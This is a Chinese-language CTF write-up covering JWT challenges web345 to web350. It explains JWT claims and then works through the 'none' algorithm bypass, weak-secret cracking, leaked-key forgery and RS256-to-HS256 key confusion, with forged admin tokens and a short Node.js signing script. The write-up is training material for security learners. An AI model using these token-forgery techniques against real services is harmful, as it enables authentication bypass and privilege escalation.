WEB入门——jwt

JWT由3部分组成：标头(Header)、有效载荷(Payload)和签名(Signature)
typ：声明类型
alg：声明加密的算法 通常直接使用 HMAC SHA256
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间，这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前，该jwt都是不可用的
iat: jwt的签发时间
jti: jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击

web345

考点：None无签名认证

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJ1c2VyIiwianRpIjoiOTRkNjg3MGEyNzBkNGYxODMxMjdiNmM4MGQ2MDgyODAifV0

转换后，发现不存在第三部分的签证，也就不需要知道密钥。

{"alg":"None","typ":"jwt"}
[{"iss":"admin","iat":1769267674,"exp":1769274874,"nbf":1769267674,"sub":"user","jti":"94d6870a270d4f183127b6c80d608280"}]

修改为：

{"alg":"None","typ":"jwt"}
[{"iss":"admin","iat":1769266770,"exp":1769273970,"nbf":1769266770,"sub":"admin","jti":"799e837c321193fccb1af64e14be4431"}]

base64编码

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk0ZDY4NzBhMjcwZDRmMTgzMTI3YjZjODBkNjA4MjgwIn1d

访问 /admin/，不行
把前面的删了，只剩后面的就行了，不知道为啥

.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjc2NzQsImV4cCI6MTc2OTI3NDg3NCwibmJmIjoxNzY5MjY3Njc0LCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk0ZDY4NzBhMjcwZDRmMTgzMTI3YjZjODBkNjA4MjgwIn1d

web346

考点：修改算法为None
原来：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6InVzZXIiLCJqdGkiOiJhZGUwMjc1Nzk5MWJlZTAyMjQ3NjIyMDUyNTUzZTg0MyJ9.4865NvDEwYG65pz-8ubfNtDXYHg4D13EUT3tzTTkQAY

{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769267967,"exp":1769275167,"nbf":1769267967,"sub":"user","jti":"ade02757991bee02247622052553e843"}

修改为：

{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1769267967,"exp":1769275167,"nbf":1769267967,"sub":"admin","jti":"ade02757991bee02247622052553e843"}

分别base64加密

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0  
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6ImFkbWluIiwianRpIjoiYWRlMDI3NTc5OTFiZWUwMjI0NzYyMjA1MjU1M2U4NDMifQ

拼接，保留最后的 .

eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2Nzk2NywiZXhwIjoxNzY5Mjc1MTY3LCJuYmYiOjE3NjkyNjc5NjcsInN1YiI6ImFkbWluIiwianRpIjoiYWRlMDI3NTc5OTFiZWUwMjI0NzYyMjA1MjU1M2U4NDMifQ.

web347

考点：弱口令密钥

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2ODY3OSwiZXhwIjoxNzY5Mjc1ODc5LCJuYmYiOjE3NjkyNjg2NzksInN1YiI6InVzZXIiLCJqdGkiOiIyZmU0OWYwNjU3ZjQwZjhmNjBjZWViZDkzYTg1ZjYzNCJ9.62kiLmjnmqByo_A2tLYH6uwum81jWPhHeajEvI7J_-w

秘钥为：123456

{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769268104,"exp":1769275304,"nbf":1769268104,"sub":"user","jti":"05f757857cb5ee13fae9b72ca2a289c5"}

修改：

{"alg":"HS256","typ":"JWT"}
{"iss":"admin","iat":1769268104,"exp":1769275304,"nbf":1769268104,"sub":"admin","jti":"05f757857cb5ee13fae9b72ca2a289c5"}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2ODY4NSwiZXhwIjoxNzY5Mjc1ODg1LCJuYmYiOjE3NjkyNjg2ODUsInN1YiI6ImFkbWluIiwianRpIjoiNmYxMmE4NmZmOTM3ZWI1MzNlZTk5ZmVjZDAxZjVmZjkifQ.PuyQRS-OTDx5I5S7F5fA8OPribONyQcXAS5TFwyiP_A

成功登录

web348

考点：爆破

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2OTI2OTMzMCwiZXhwIjoxNzY5Mjc2NTMwLCJuYmYiOjE3NjkyNjkzMzAsInN1YiI6InVzZXIiLCJqdGkiOiJiYzk5MTI0YTUwNjQxNjhhYTQ1ZjM1ODkxZGUwMjI3MiJ9.8i4MLMQ6LX-AyZ4ujDbOIoR_UiR7pMugUJaXE5H596E

aaab

web349

考点：公钥私钥泄露

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

这里给了public.key和private.key的位置，直接访问下载

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc2OTI2OTY5MX0.HE1wzcKVrRoyDhz6ldCpRdctvsOEg7ckfG0v5QJN8mIWLEXBMBGuKStoJ-V88nUV6tiZnee7ItDdFwyalPeWWl8uYsXqPGJETF7YllwHkby2N9v2FRoclel9m4q1g5YZbKsM2_OEJhCLl7S8yRe0m8KsB2TkxvkdW2rdCptb5mE

{"alg":"RS256","typ":"JWT"}
{"user":"user","iat":1769269691}

改为：

{"alg":"RS256","typ":"JWT"}
{"user":"admin","iat":1769269691}

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NjkyNjk2OTF9.hdQEkp-tc2iCgip3kBi4fAMFLpcpaoyU5ZBPCagHOpu76VlOccMp0vMOMGs4CqSHQw7GXkRZNgKgVVm7zw3nCpNI0DensZ0miHKfWni97DlgvOhlPJF2e5-647ujNe-nKlDO2bL379NrDNbD-FXFAstNIwKEhyGQD7q6auD-QCk

改成POST

web350

考点：密钥混淆攻击RS256=>HS256
\routes\index.js

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;

得到公钥

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE3NjkyNzE5MzZ9.Ku9Wge2_Bj4ni6AVihpg4yU8C1kRyngoCnpIVw6CJB4

解释：
HS256算法：使用密钥为所有消息进行签名和验证
RS256算法：使用私钥对消息进行签名、使用公钥进行身份验证

如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256验证签名
由于攻击者有时可以获取公钥，因此，攻击者可以将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。
这样的话，后端代码使用RSA公钥+HS256算法进行签名验证